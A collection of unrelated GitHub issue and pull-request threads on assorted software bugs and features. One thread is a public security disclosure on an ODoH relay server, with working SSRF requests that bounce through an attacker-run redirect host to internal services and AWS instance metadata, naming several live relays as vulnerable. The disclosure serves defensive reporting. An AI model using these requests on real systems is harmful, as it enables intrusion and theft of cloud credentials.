This PR removes the support of Microshift from CI and local-development As disccused here: https://github.com/sustainable-computing-io/local-dev-cluster/pull/80#issuecomment-2090252643

cc: @SamYuan1990


Cannot get my phone number

Bug report

Summary

Environment info

react-native info output:
# return unknown

Library version: 5.6.1
Steps to reproduce

…
…

Describe what you expected to happen:

…
…

Reproducible sample code

Not nearly enough info to debug. What mobile OS and version? Are permissions granted etc?
Pretend I am your employee, and I bring you this problem. Ask me all the questions you need to in order to troubleshoot it.
We can reopen this if you put all that info you need in here.


Finish the whisper-transcribe-folder endpoint

I think whether we select a folder or some number of files, the batched endpoint should work, so we should delete the whisper-transcribe-folder endpoint and replace with a call to the batched transcription endpoint

After some small updates, the folder endpoint should now work with batched processing of strings.  It works on the sequential version, so it should work on the batched GPU version (needs Sid to test)

Just note, the "Input folder" string must match the folder you select!! if you select {path}/outputs as your input folder, then your string should be "{path}/outputs"


Add ignore-errors for ls CLI & API

also better CLI output for ValidationError
fix get_model for primitives

suddenly it also closes https://github.com/iterative/mlem/issues/149


Doesn't work with Vite

Getting an error with vite also!

Could not make it work using vitesse template :(

Sorry I have not tested on Vite yet. Can you give a sample code that help me easy to debug?

Just tried on vite it's not working.
`
Could not resolve "vue3-simple-html2pdf/src/vue3-simple-html2pdf"
node_modules/vue3-simple-html2pdf/src/index.js:1:31:
  1 │ ...rom 'vue3-simple-html2pdf/src/v...
    ╵        ~~~~~~~~~~~~~~~~~~~~~~~~~~~

You can mark the path
"vue3-simple-html2pdf/src/vue3-simple-html2pdf"
as external to exclude it from the bundle,
which will remove this error.
`

@maulanayusupp Could you please make a PR?

any update?

I supposedly fixed it.
Please review & merge.
#7


Should allow negative numerical constants

Sort of embarrassing that I/we hadn't noticed til now that negative numbers like -1 cause a compiler error!

To be fair, it's hard to notice these unless you're actually playing around with the compiler, and one could reasonably expect -5 to be a constant rather than an unary operation. Though it makes sense it's unary because -x is also valid.

To be fair, it's hard to notice these unless you're actually playing around with the compiler, and one could reasonably expect -5 to be a constant rather than an unary operation. Though it makes sense it's unary because -x is also valid.


Manifest assets

vue.config.js
`
//Install this
const ManifestPlugin = require('webpack-manifest-plugin');
const os = require('os');
module.exports = {
configureWebpack: {
plugins: [
new ManifestPlugin({
fileName: 'asset-manifest.json',
//@todo get the generated hose
publicPath: 'local url from the terminal',
writeToFileEmit: true
})
]
},
devServer: {
headers: {
'Access-Control-Allow-Origin': '*'
},
},
outputDir: ${os.homedir()}/path-to-laravel-public-folder
}
`
Directive
@js()
@css()

Can we add some docs to all available methods? And an entry of this feature to the readme?
Thanks!

Char!


Security issues with cloudflare/odoh-server-go and the ODoH RFC draft

Hi,
Disclaimer: I was told by Cloudflare after reporting this to them at https://hackerone.com/cloudflare to also report this publicly in this project. Report ID: #1544311 (Not disclosed yet)

You can also file an issue on Github for this project.

Background information
I've been doing some research around ODoH (Oblivious DNS Over HTTPS) and I've identified some issues with the ongoing and running project at cloudflare/odoh-server-go as well as some issues with the RFC-draft itself lacking important security considerations.
Due to the RFC lacking the security considerations, my assumption is that the project at cloudflare/odoh-server-go was written without any sort of protections for SSRF in mind, causing the current state of the project allowing full and valid POST/GET-requests with valid Content-type-headers to be made to any HTTP or HTTPS-endpoints, including internal hosts from the endpoint running the application.
First, I saw the article explaining Cloudflare's and <IP_ADDRESS>'s approach to add support for ODoH
In this article, there are three partners mentioned that are currently running ODoH-relays:

PCCW Global
Equinix
SURF

Technical description
If you don't know the concept of ODoH, the idea is that the DNS-lookup is made against a relay using encrypted data, which then proxies the information over to the target host. Since the payload is encrypted, the proxy doesn't really know what the payload contains. Also, the response from the target host will also be encrypted, so the proxy don't know what is being returned by the target and will send it unmodified to the client. This is all as per design.
However, there are no security mitigations for abusing this ODoH-relay to issue requests against other types of hosts, as well as internal hosts only reachable by the ODoH-relay. This means you can actually abuse the ODoH-relay for SSRF (Server-Side Request Forgery). The RFC-draft specification does mention some restrictions, and I know you were a part of writing the specification together with Apple, so this is why I will also add some considerations to this report:

Restrict content-type used in the request from the Client

Clients MUST set the HTTP Content-Type header to "application/
oblivious-dns-message" to indicate that this request is an Oblivious
DoH query intended for proxying.  Clients also SHOULD set this same
value for the HTTP Accept header.

This is not being restricted in the cloudflare/odoh-server-go-project. Any content-type will be allowed to be sent and will be passed on to the target.

Restrict content-type used in the response from the Target

Upon receipt of requests from a Proxy, Targets MUST validate that the
request has the HTTP Content-Type header "application/oblivious-dns-
message" and uses the HTTP POST method.  Targets can respond with a
4xx response status code if this check fails.

I think this is not properly worded and is probably the reason why the cloudflare/odoh-server-go-project allows any content-type to be returned from the target. I would modify this to also include that the Proxy MUST validate that the response from the Target has the HTTP Content-Type header "application/oblivious-dns-message". This is not being restricted in the cloudflare/odoh-server-go-project. Any content-type will be allowed to be returned by the target and will be passed on to the client.

Prevent redirects to non HTTPS-protocols

The scheme
for both the Proxy URI Template and the Target URI MUST be "https".

This is not being restricted in the cloudflare/odoh-server-go-project. You can use a redirect endpoint on HTTPS to redirect the request to a http://-URL and the proxy will follow the redirect blindly. I would also add to the specification that The Proxy is NOT allowed to follow any HTTP-redirects at all. as that would prevent http-protocol from being used at all.

There is also a mention about some mitigations that the proxy MAY do:

Ability to configure to block invalid ports from being used

Proxies MAY choose to not forward connections to non-standard ports.
In such cases, Proxies can indicate the error with a 403 response
status code, along with a Proxy-Status response header with an
"error" parameter of type "http_request_denied", along with an
appropriate explanation in "details".

This is not being restricted in the cloudflare/odoh-server-go-project and is not possible to configure either.

In addition to these points, there's no mitigation against using internal IPs being provided to the targethost (or redirecting from a valid targethost to an internal one) which is why we can confirm that we can read data from internal hosts. This is never mentioned as a security consideration in the RFC-draft. There's actually nothing mentioning the issue of the ODoH-relay being vulnerable to SSRF at all in the "Security considerations" of the draft. I agree that some things in the RFC-draft does prevent at least leaking data to the client if the content-type response of the target is not the proper one, but a request would still be made to the target host. I've mentioned these before as SSRF-canaries where you're able to make a request to an internal service that would make some form of DNS-lookup or request externally, which would help you fingerprint and confirm that you're able to reach the internal host.

Ability to (or default always) block internal hosts from being used as targethost
I would recommend to block requests being made to any internal hosts (where the IP-range is reserved for internal use). This could be configured to be allowed if needed, but should be default blocking. It also needs to handle redirects, so the attacker cannot redirect from a public host to an internal one. Here's an article by Andrew Ayer explaining the issue in relation to Go that might be helpful to understand the problem.

PoC
I've also confirmed that if I run the cloudflare/odoh-server-go-project on a EC2 without enabling IMDSv2, I can reach the internal AWS-metadata which could give me access to security-credentials for the running instance:
POST /proxy?targethost=attacker.fransrosen.com&targetpath=/redir.php?c=301%26ip=http://<IP_ADDRESS>/ HTTP/2
Host: victim-running-odoh.fransrosen.com
Accept: application/oblivious-dns-message
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

AAA

The reason why we use a redirect is because the targethost is always using https://-protocol, but the AWS metadata is only being returned on http://. It's also good to know that the request that is being made by the odoh-server-go-project is following redirects blindly. The request above will make a POST-request to https://attacker.fransrosen.com/redir.php?c=301&ip=http://<IP_ADDRESS> that will response with a status 301-response which will then make the proxy do a GET-request to http://<IP_ADDRESS> and will return with the content from the response:
HTTP/2 200 OK
Content-Type: application/oblivious-dns-message
Content-Length: 285
Date: Tue, 19 Apr 2022 07:36:21 GMT

1.0
2007-01-19
2007-03-01
2007-08-29
2007-10-10
2007-12-15
2008-02-01
...

We can also redirect the user using 307-status to maintain the POST-payload over to a HTTP-url. We can also issue legit POST-request to any host with the proper content-type that we want to use against the victim host:
POST /proxy?targethost=attacker.fransrosen.com&targetpath=/redir.php?c=307%26ip=http://test-host:8080/ HTTP/2
Host: victim-running-odoh.fransrosen.com
Accept: application/oblivious-dns-message
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

data=xxx&another-data=zzz

This will make a POST-request to https://attacker.fransrosen.com/redir.php?c=307&ip=http://test-host:8080 which will return with a 307 and redirect the POST-request instead to http://test-host:8080and send the same Content-type that was being used:
Connection from [<IP_ADDRESS>] port 8080 [tcp/http-alt] accepted (family 2, sport 54481)
POST / HTTP/1.1
Host: <IP_ADDRESS>
User-Agent: Go-http-client/1.1
Content-Length: 25
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

data=xxx&another-data=zzz

Same with JSON obviously:
POST /proxy?targethost=attacker.fransrosen.com&targetpath=/redir.php?c=307%26ip=http://test-host:8080/ HTTP/2
Host: victim-running-odoh.fransrosen.com
Accept: application/oblivious-dns-message
Content-Type: application/json
Content-Length: 25

{"hello": "test"}

will make the following request to http://test-host:8080:
Connection from [<IP_ADDRESS>] port 8080 [tcp/http-alt] accepted (family 2, sport 46026)
POST / HTTP/1.1
Host: <IP_ADDRESS>
User-Agent: Go-http-client/1.1
Content-Length: 17
Content-Type: application/json
Accept-Encoding: gzip

{"hello": "test"}

As mentioned above, you can run the cloudflare/odoh-server-go on an EC2 on AWS without IMDSv2 enabled, and then make the following request to the application, using a redirect endpoint as the targethost to redirect the request to http://<IP_ADDRESS>:
POST /proxy?targethost=your-redirect-page.example&targetpath=/redirect?url=http://<IP_ADDRESS>/ HTTP/2
Host: victim-running-odoh.example
Accept: application/oblivious-dns-message
Content-Type: application/x-www-form-urlencoded
Content-Length: 3

AAA

And you should get the AWS-metadata listing back in the response.

Mitigations
I've confirmed that all three partners mentioned in the article are indeed running cloudflare/odoh-server-go at:
https://proxy.odoh.cloudflare-dns.com/ (Expired cert, but service still works if you go pass that cert-error, run by Equinix)
https://proxy-ny.odoh.cloudflare-dns.com/ (Expired cert, but service still works if you go pass that cert-error, run by Equinix)
https://asia.odoh.edge.pccwglobal.net/ (PCCW Global)
https://odoh1.surfdomeinen.nl/ (SURF)

And they all have the issues mentioned in this report. I have not tested any internal hosts on them, only confirmed that they are running the same project and that they are giving me back arbitrary content without validating the content-type from the target response, as well as allowing any content-type to be set in the request which will also be received by the target host. There are obviously more places this cloudflare/odoh-server-go is running that are also vulnerable to the same issues.
Proper mitigations would be to:

Restrict content-type used in the request from the Client
Restrict content-type used in the response from the Target
Prevent redirects to non HTTPS-protocols
Ability to configure to block invalid ports from being used
Ability to (or default always) block internal hosts from being used as targethost

Regards,
Frans Rosén

Are these security concerns being addressed? Looks like it’s been a few months and I was wondering if this project was more of a proof of concept or code meant for production.
Thanks!


Validation not revalidated when model updated programmatically.

See jsfiddle
description is set after 2 seconds and valid remains false. Is there  a way to force revalidation?

v-model can not support yet.
I'll try to implement.

Thanks @kazupon
That will be really useful as I am populating the form by doing an AJAX call to fetch data, but the validations are out of sync with the data.

+1 :)

+1


Query not working

filter_params = {
        "filters": [{
            "filter": {
                "operator": "is_empty"
            },
            "property": "title"
        }],
        "operator": "and"
    }
    result = cv.build_query(filter=filter_params).execute()

Got full result (expecting none). And other queries result the same.

I was facing the same here. Seems like it's a package release issue. The last version published on PyPi is 0.0.25. I've installed manually the current master version (0.0.26) and it's working like a charm.

Sorry for the delay, will be releasing the new version to PyPI tonight.


Adding @ana for documentation divs

The requirement here is to make the attribute @ana available on the
 element with multiple possible values taken from the emdAudiences taxonomy. We don't want to introduce the default @ana to the schema because it's then available everywhere, and we have to keep deleting it all over the place, so what I've done today is:

Explicitly deleted the att.global.analytic module from the schema. (It contains only @ana).
Create a new module "lemdo" in our schema where we can create custom versions of standard TEI things.
Added a classSpec "att.lemdoAnalyticAudience" which contains a custom @ana attribute whose valList is populated at schema build time from the emdAudiences taxonomy.
Made the
 element a member of att.lemdoAnalyticAudience.

This gives us the custom @ana attribute on the div element, and allows us to add it to other elements if we need to, while also allowing us to create other versions of @ana for specific purposes as we need them.
We don't yet have any plans for how this should be processed, other than that we would like to create lists of documentation pages for each audience.

@JanelleJenstad @nvatcher Can you test this out and start adding some values so that we can experiment with processing? Also, should I be adding a Schematron rule that prevents the use of this attribute when the
 element is not in a documentation file?

@martindholmes: I've tested it by adding @ana to the root divs of 14 files. I've also added two space-separated values in two cases. Works great!
Files with @ana on root div:
data/documentation/
learn_BIBL1.xml
learn_accessingRepository.xml
learn_annotations.xml
 learn_anthStatus.xml
 learn_anthologies.xml
learn_anthologyAboutPages.xml
learn_apparatusIntro.xml
learn_blockQuotations.xml
learn_buildAnthology.xml
learn_convertingTCP.xml [two values]
learn_convertingTLNsToAnchors.xml [two values]
learn_docCreate.xml
learn_docEncode.xml
learn_docEncode_credit.xml

Next obvious steps:

Add a new search category to https://jenkins.hcmc.uvic.ca/job/LEMDO/lastSuccessfulBuild/artifact/products/lemdo-dev/site/search.html. Call it: "Documentation Audiences" and list all the values.

Make a pre-populated search link from each of the Quickstarts. (Is that possible? It looks to me as if the Static Search is looking for a word or phrase in documents. It doesn't seem to be set up to give a list of documents that have a certain type.

Quickstart for Encoders (learn_quickStart_encoder) should have a search link to all the documentation with @ana="encoder"

Is doable, but it means there will be a filter which only applies to a subset of documents. That might be a bit confusing for users.
Easy -- do a search using only a filter, and copy the URL. That's your link.

I think we can frame (1) to avoid confusion.
Won't that mean that we have a link from the published documentation on lemdo.uvic.ca to the Jenkins site search?

We are trying to document the use of the new '@ana' values. This egXML is triggering an invalidity when we have the xmlns attribute on the root div in the example. If we remove the xmlns attribute, the example is valid. But then the example is patently wrong. '@valid' value of false/true doesn't make a difference.

Examples

Title of Page

We've left you an xml comment in learn_docEncode_audience.xml

You can't link to the Jenkins search from a document intended to be published on the site.
We should probably have a protocol for linking to a search URL which replaces all the URL component with a prefix (search:), and then consists of the (escaped) query component of the URL. That would be easy to set up.

Why re-apply the TEI namespace in the div in your example? The point of an egXML is that it moves all of the descendant elements into the example namespace. This is probably what you want:

        Examples
       <egXML xmlns="http://www.tei-c.org/ns/Examples" valid="false">

                Title of Page

        </egXML>

We've followed your recommendation for the encoding of our egXML. -- DONE
"We should probably have a protocol for linking to a search URL which replaces all the URL component with a prefix (search:), and then consists of the (escaped) query component of the URL. That would be easy to set up." --> Please go ahead with this :-)
On the "Search" page, we suggest a box that says "Search Documentation Only"

That box has the drop-down menu for audience types. I think that will be very clear.

OK, I'll set up the search. But as soon as I've created that search control, any documentation files which don't contain @ana attributes will not show up in search results. There are 180 documents without the attribute at the moment; are you OK with having them disappear from the search results when someone uses these controls, or should we wait until the @ana values have all been added?

On the issue of the prefixDef: having looked at it, we don't want to go there. It is straightforward if you're only using filters, as long as the filters don't happen to have spaces in their captions (many do), but for most cases the problem is that you would have to supply the contents of a query string in the pointing attribute, which leads to all sorts of issues with escaping and unescaping because that attribute data type is a xs:anyURI. I think if our purpose is to list documents or sections that match a specific @ana, then a conventional category listings page is the way to do it.

OK, I'll set up the search. But as soon as I've created that search control, any documentation files which don't contain @ana attributes will not show up in search results. There are 180 documents without the attribute at the moment; are you OK with having them disappear from the search results when someone uses these controls, or should we wait until the @ana values have all been added?

Okay, let's wait until we've added those attributes. We will let you know when we've finished doing that.

@nvatcher Any progress with this?

Still adding them as we go.

All root documentation divs now have @ana, and there's a Schematron rule requiring it. I've also updated processing to ensure they survive through to the standalone XML phase, and some code to create staticSearch meta tags from them. Now waiting to see if that works as expected, and at that point we can see how well they work in the search page.

This does not appear to be working, in that the staticSearch meta tags are not being created. Looking into it now.

Committed a fix for this in rev 11245. If all is well, this can be closed.

Seems to be working. Closing.


Documentation on how to use the subtrate compatible finality-aleph consensus

I have read your original alephBFT API documentation but I noticed that you also have a subtrate compatible version here. I wanted to know how to integrate that component instead into a subtrate compatible node.
If this is the wrong place to ask such a question then I will delete and ask somewhere else.
Thanks in advance.

Hi @hhamud,
The code in AlephBFT repo is a standalone consensus implementation for general purposes, and here we have only its integration with substrate. This integration is done in https://github.com/Cardinal-Cryptography/aleph-node/tree/r-13.3/finality-aleph.
However, our priority was always adding new features to Aleph Zero blockchain, which may make it harder to reuse our substrate integration of our consensus for other blockchains.
That being said, not everything used in finality-aleph is absolutely necessary to run a custom blockchain, as well as we might rely in some parts of the code on some specific substrate client, and other client parts.
Nevertheless, the integration includes, inter alia:

Implementing data availability for AlephBFT,
Handling session switches and possible AlephBFT version upgrades,
Implementing own block sync protocol, more tailored to AlephBFT (currently we're finishing this) - we found that the one implemented in substrate is not really consensus agnostic, as it assumes that the consensus mechanism is somewhat based on the longest chain rule, and AlephBFT inherently is not. This caused us some problems in the past.

You can also see how the blockchain's components, and particularly finality-aleph is initialized there: https://github.com/Cardinal-Cryptography/aleph-node/blob/r-13.3/bin/node/src/service.rs.

Thanks for the reply. I am fine with it depending on aura for block authorship, in my case I'm mainly concerned with block finalisation.
Could you point to where the code is for the block sync issues?

New sync protocol is there: https://github.com/Cardinal-Cryptography/aleph-node/tree/main/finality-aleph/src/sync.
And you can see how it's initialized there: https://github.com/Cardinal-Cryptography/aleph-node/blob/e01ff0523b5a6b4eef50ffffdbf5e4d08245cd9a/finality-aleph/src/nodes.rs#L185

Hi, aleph-node 13.3 version is based on polkadot-sdk 1.2.0. You can see all the changes to upstream branch here: https://github.com/paritytech/polkadot-sdk/compare/polkadot-v1.2.0...Cardinal-Cryptography:polkadot-sdk:aleph-v1.2.0


top fixed site header is hidden if mmenu is opened

i have an fixed site header with style="position:fixed,top:0px; height:120px;z-index:40,..." if the page is scrolled down (like 50%) and mmenu is opened via an icon in the site header, the site header is hidden or the fixed position with top 0px isn't working anymore. are there any known issues?

Have you tried searching the tips and tricks page?
http://mmenu.frebsite.nl/support/tips-and-tricks.html

If your page contains elements that have position: fixed; that suddenly seem to disappear when opening the menu, have a look at the fixed elements add-on.
http://mmenu.frebsite.nl/documentation/addons/fixed-elements.html

thx!


thread_local return in singleton class

In singleton.h file, get_thread_local_instance() contains thread_local keyword in return type, like...
 thread_local static T& get_thread_local_instance()
    noexcept(std::is_nothrow_constructible<T>::value)
    {
        // Guaranteed to be destroyed.
        // Instantiated on first use.
        // Thread safe in C++11
        thread_local static T instance;

        return instance;
    }

I think thread_local keyword should be removed from the return type declaration, as the instance is already constructed as thread_local and thus it has static duration, and the function returns by its static ref. So the returned object is automatically becomes thread_local. Also clang complains about this keyword in the return type. I have removed the keyword, and it is working as it should be, like the following,
 static T& get_thread_local_instance() // no thread_local needed here
    noexcept(std::is_nothrow_constructible<T>::value)
    {
        // Guaranteed to be destroyed.
        // Instantiated on first use.
        // Thread safe in C++11
        thread_local static T instance;

        return instance;
    }

Thanks, you are absolutely right. Corrected it now on the last commit.


Move Storybook files to separate directory, so they can be skipped during rollup compilation

We'll use /docs

Closed in #24


3.4.0 Memory caching issues

Ionic version:  (check one with "x")
[ ] 1.x (For Ionic 1.x issues, please use https://github.com/ionic-team/ionic-v1)
[ ] 2.x
[x] 3.x
I'm submitting a ...  (check one with "x")
[x] bug report
[ ] feature request
[ ] support request => Please do not submit support requests here, use one of these channels: https://forum.ionicframework.com/ or http://ionicworldwide.herokuapp.com/
Current behavior:
There appears to be caching issues with 3.4.0. Items saved in local storage do not render on page load, but do so on a hard refresh of the app. I have downgraded to 3.3.0 and this issue is not present.
Expected behavior:
The expected saved items would display. They are present in the console log, but the items are not being rendered.
Steps to reproduce:

Utilise local storage and save an item to it (Note that other users have also experienced caching issues which do not involve local storage).
Navigate to a page that retrieves the saved items. The item is not rendered, but will be listed in the console.
Refresh the app. The item will appear on the page, as originally expected.

Related code:
Other information:

global packages:

    @ionic/cli-utils : 1.3.0
    Cordova CLI      : 7.0.1
    Ionic CLI        : 3.3.0

local packages:

    @ionic/app-scripts              : 1.3.7
    @ionic/cli-plugin-cordova       : 1.4.0
    @ionic/cli-plugin-ionic-angular : 1.3.1
    Cordova Platforms               : android 6.2.3
    Ionic Framework                 : ionic-angular 3.3.0

System:

    Node       : v6.11.0
    OS         : Windows 7
    Xcode      : not installed
    ios-deploy : not installed
    ios-sim    : not installed

+1, happens the same to me.  http://graphs.lleugersdecatalunya.com/  shows the same issues under 3.4 or superior

Hello, thanks for opening an issue with us! Would you be able to provide a plunker that demonstrates this issue? Thanks for using Ionic!

@jgw96 I'm unable to do that but would happily share my private repo with you, if that is suitable?

Hey @SKempin , no need to share the full repo, we just need a minimal example to make this easier to debug.

Hello all! As it seems it has been a while since there was any activity on this issue i will be closing it for now. Feel free to comment if you are still running into this issue. Thanks for using Ionic!


drop warns on load, fix tests

Codecov Report

Merging #16 (4b640d6) into main (f8ed836) will increase coverage by 11.20%.
The diff coverage is 37.83%.

@@             Coverage Diff             @@
##             main      #16       +/-   ##
===========================================
+ Coverage   50.00%   61.20%   +11.20%
===========================================
  Files           5        5
  Lines         136      116       -20
===========================================
+ Hits           68       71        +3
+ Misses         68       45       -23

Impacted Files
Coverage Δ

src/services/CameraServices.jl
47.61% <0.00%> (+19.04%)
:arrow_up:

src/services/CameraCalibration.jl
36.36% <12.50%> (-63.64%)
:arrow_down:

src/Deprecated.jl
70.96% <71.42%> (+26.96%)
:arrow_up:

src/entities/CameraCalibration.jl
100.00% <100.00%> (ø)

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more


busybox fsck breaks NixOS's fsck handling logic

This code in stage-1-init.sh runs fsck $fsckFlags "$device":
https://github.com/NixOS/nixpkgs/blob/c2b668ee7264000b10d554754150ea9305b6ef3d/nixos/modules/system/boot/stage-1-init.sh#L260-L277
This fsck seems to be the generic wrapper that calls the corresponding fsck for the corresponding filesystem type, like fsck.ext4.
Note in the above code how NixOS has (correct) code to handle the exit code, e.g. when the bits of decimal 2 or 4 are set in the exit code (see man fsck).
But the generic fsck wrapper seems to not correctly pass through the exit code.
On my server I get this boot failure:
Checking /dev/disk/by-label/root...
fsck (busybox 1.27.2)
[fsck.ext4 (1) -- /mnt-root/] fsck.ext4 -a /dev/disk/by-label/root
root: Superblock hint for external superblock should be 0x97f.  FIXED.
root: 73146/122093568 files (0.5% non-contiguous), 8267968/488345344 blocks
Warning: fsck.ext4 /dev/disk/by-label/root terminated by signal 1
fsck on /dev/disk/by-label/root failed.

An error occurred in stage 1 of the boot process, which must mount the
root filesystem on '/mnt-root' and then start stage 2. Press one
of the following keys:

  r) to reboot immediately
  *) to ignore the error and continue

Here fsck.ext4 found a fixable problem and fixed it, then exiting with exit code 1 as expected.
But the generic fsck wrapper tuns that into exit code 8.
As a result, in stage-1-init.sh the wrong if-branch is taken,
and my server is stuck waiting for a key to be pressed instead of booting through.

A workaround is to replace the line
fsck $fsckFlags "$device"

by
fsck.ext4 $fsckFlags "$device"

to directly invoke the fsck for your file system type (in my case ext4) without the generic fsck wrapper.

But we should really find out what the fsck wrapper is doing wrong. What code is running here, is this wrapper from busybox as suggested by the error message?

FWIW I had issues with busybox utils in stage1 that were "resolved" by using utillinux instead for things like mount, etc.  This was w/musl (and shouldn't happen, busybox+musl should work great!) but it would be interesting to see if the same workaround worked here as well.
Is there a NixOS test we can put together to explore this?
Also it says "terminated by signal 1" which seems curious-- it often means exit code lower bits will be 1 but doesn't seem normal behavior. Who's sending SIGHUP to fsck?
Also, FWIW:
https://git.busybox.net/busybox/tree/e2fsprogs/fsck.c?id=72089cf6b4a77214ec4fd21d5ee5bf56958781cb#n70
Which seems to suggest '8' means fsck exit error.

I have found the source code in busybox that emits the message
Warning: fsck.ext4 /dev/disk/by-label/root terminated by signal 1

It is https://git.busybox.net/busybox/tree/e2fsprogs/fsck.c?h=1_28_3#n456
 child_died:

	status = WEXITSTATUS(status);
	if (WIFSIGNALED(status)) {
		sig = WTERMSIG(status);
		status = EXIT_UNCORRECTED;
		if (sig != SIGINT) {
			printf("Warning: %s %s terminated "
				"by signal %d\n",
				inst->prog, inst->device, sig);
			status = EXIT_ERROR;
		}
	}

Luckily it is easy to distinguish this from the upstream, non-busybox e2progs fsck wrapper, because that one has the following source code instead: https://github.com/tytso/e2fsprogs/blob/d5bd126cd6a06dd2a8652557776ea298fb442912/misc/fsck.c#L619-L620
The message is different (with signal vs by signal).
Suspiciously, this code is handles the case where fsck was terminated by a signal (WIFSIGNALED), but in my case, fsck.ext4 simply exits with code 1, without any signal being involved. So I suspect that somehow the wrong code path is taken.

I have not confirmed whether the upstream fsck wrapper, too, suffers from the bug of not forwarding the exit code of fsck.ext4 correctly. And I cannot easily try it, because I can't run it from the busybox shell.
But I am reasonably sure that this issue only exists in busybox's fsck wrapper, and that it was introduced in this commit:
https://git.busybox.net/busybox/commit/?id=c4fb8c6ad52e8007c6fa07e40f043bb2e0c043d1
@@ -439,9 +446,8 @@ static int wait_one(int flags)
 	}
  child_died:

-	if (WIFEXITED(status))
-		status = WEXITSTATUS(status);
-	else if (WIFSIGNALED(status)) {
+	status = WEXITSTATUS(status);
+	if (WIFSIGNALED(status)) {
 		sig = WTERMSIG(status);
 		status = EXIT_UNCORRECTED;
 		if (sig != SIGINT) {

This change busybox changed the semantics of the original fsck code.
You can only reasonably call WEXITSTATUS() on status if you checked WIFEXITED() before, because as documented in waitstatus.h:
/* If WIFEXITED(STATUS), the low-order 8 bits of the status.  */
#define	__WEXITSTATUS(status)	(((status) & 0xff00) >> 8)

Doing status = WEXITSTATUS(status); unconditionally will mask away the parts of status that indicate whether a signal was raised, so that afterwards WIFSIGNALED() is true even if no signal was raised.
So that's why busybox's fsck doesn't forward fsck.ext4's status code correctly.

I have written a patch for busybox that fixes the issue (https://github.com/nh2/busybox/commit/b9dbf69a5ad0cb585392a88853a729ee159366c7), tested that it fixes the reboot hang for my NixOS server, and submitted it to the upstream mailing list.

Upstream patch is at http://lists.busybox.net/pipermail/busybox/2018-May/086417.html

still important to me

@nh2 Is this still an issue, or has it been fixed upstream?

Ah yes, you are right. In the linked https://github.com/NixOS/nixpkgs/pull/41024#issuecomment-399756332 I wrote

So I'm OK with having this in non-staging only with the next NixOS release.

The upstream patch is:
https://git.busybox.net/busybox/commit/?id=ccb8e4bc4fb74701d0d323d61e9359d8597a4272
which according to
https://github.com/mirror/busybox/commit/ccb8e4bc4fb74701d0d323d61e9359d8597a4272
is in busybox releases > 1.29.0, and it's fixed in at least NixOS 20.03.
Closing.


Moving a task on the timeline removes all metadata associated with it

Describe the Issue
When a task is moved on a timeline, any metadata related to that task is deleted.
Steps to Reproduce
To reproduce this issue, follow these steps:

Install and activate the Tasks plugin.
Create a new note.
Give the note a tag, like #task.
Add the #task tag to the global filter of "Daily Planner" plugin.
Create a new task and choose the current date.
Drag the task to any location on the timeline.

Current Behavior
After moving a task, any metadata associated with it is lost.
Expected Behavior
Metadata related to a task should be preserved when it is moved.

I really like this plugin, but this also bothers me. This does not only apply to tags, but also to dataview metadata like [scheduled:: ]. I have non-daily page with tasks where I set metadata in the dataview format.
While I can see the tasks after configuring the filter, drag-ang-dropping the task or resizing leads to all dataview properties beeing removed.

This means a tasks on a non-daily page shows up in the timeline, but after drag-and-dropping the task disappears, because the dataview metadata [scheduled:: ] is removed while modifing the time of the task

#375

I had the same issue and found a temporary workaround.
If you use (scheduled:: ) instead of [scheduled:: ] it seems to be working fine (although it won't show "scheduled" label).

I had the same issue and found a temporary workaround. If you use (scheduled:: ) instead of [scheduled:: ] it seems to be working fine (although it won't show "scheduled" label).

That seems to be working ... and indeed it is missing the label.
Interesting is though: when I have a task with the brackets, and I am moving the task the first time, it keeps the metadata and adds the designated time slot. However, once I have it in the calendar and I move it again, it adapts the timing and now removes the metadata.

@ivan-lednev I have not found any issues or discrepancies. Everything appears to be functioning as expected.


Fix readme

First, I want to say thank you for this awesome package :+1:
What does this pull request do?
I've just tried to follow the "overview" section and noticed a couple of inconsistencies: a couple of copy/paste typos and a few missing types. It may be a bit hard to follow without knowing the exact types of ValidationError, Encrypted etc, so I've added them. Also, I've added validateNonEmpty and validateMinLength functions, so now it should be kinda self-contained and easier to follow.
Other Notes:
Maybe it makes sense to include the code from the Overview in examples? Here is a gist: https://gist.github.com/vyorkin/9dabae99114a5604717f986be36ff31b
Another thing that might be confusing for newcomers like me is the identity-trick, I mean validator = applyOnInputFields (identity { name: V.nonEmpty, ... })

I'll update the PR to include the expandable block with full types and validation functions

Ready for review (I'll squash the commits at the end)

ah, I think its ok, I hope I'll be able to make more valuable contributions in the future :)

Squashed commits

Thanks!


Relax public API requirements on shared/lib and shared/ui

Closes #76

Thank you for addressing the call-outs!


test: Reorder tests to mitigate DNS resolution flake

The first commit ensures tests are executed in the order they are registered. The second commit implements a mitigation for https://github.com/cilium/cilium-cli/issues/367. See commits for details.
Fixes: https://github.com/cilium/cilium-cli/issues/367.

Do we already have an issue tracking this?

No, it's why this PR is still in draft ;-)

The CT flush at the end of the test may become problemsome if we expect users of cilium to run the connectivity test.

There is no CT flush in this PR.

Also, we need docs which now inform an author of new tests that they need to be added in a specific order and with the work-around in mind.

I'll had a comment to the suite.go file.

Thanks @pchaigno!


[FEAT] HLS output "--custom-tag"

Hi @lelegard ,
I hope you don't be warned because I open "another" issue for enhancements in the HLS output. In this case is another simple enhancement related with the previous, but I feel you prefer to leave different topics separate.
Idea: Add the option --custom-tag <STRING> to add in the playlist a user specific tag.
Example: #EXT-X-MEDIA:TYPE=AUDIO,GROUP-ID=... To add addtional descriptions of the stream.
My objective is to insert this tag: #EXT-X-MEDIA:TYPE=MP2T that is NOT STANDARD to describe optionally the stream when using the --slice-only option of #1127. Then it will be more easy to identify these "special" HLS streams. But in any case, this will not be part of the TSDuck toolkit, as it will be used from the command line. So the toolkit will continue to be clean. And the proposed solution will be useful for other users to incorporate other standard tags.
I hope you want to accept this.
Regards.

Done


cleanSource: filter out also nix result symlinks

Convenient for multiple nix-build invocations during development of software using default.nix.
cc @edolstra

Seems reasonable to me. Shall we merge?


Push message open event not getting tracked

Hello, We started sending push notifications to users in a journey - Thank you for the new release :)
Here are some observations:

Even if a user clicks on a notification, it does not register a "push opened" event. In emails, the "email open" event gets registered by default. Is this by design?
If a users blocks push messages, we see the "notifications_disabled" event. However, the user's subscription on the "Push" channel does not get unsubscribed. Should this be done by default or we should make a new journey to be triggered on the "notifications_disabled" event?

Thank you for your help!

You can see a bit more discussion on this topic here: https://github.com/parcelvoy/platform/issues/499 but the short answer is it isn't currently implemented and requires some considerations
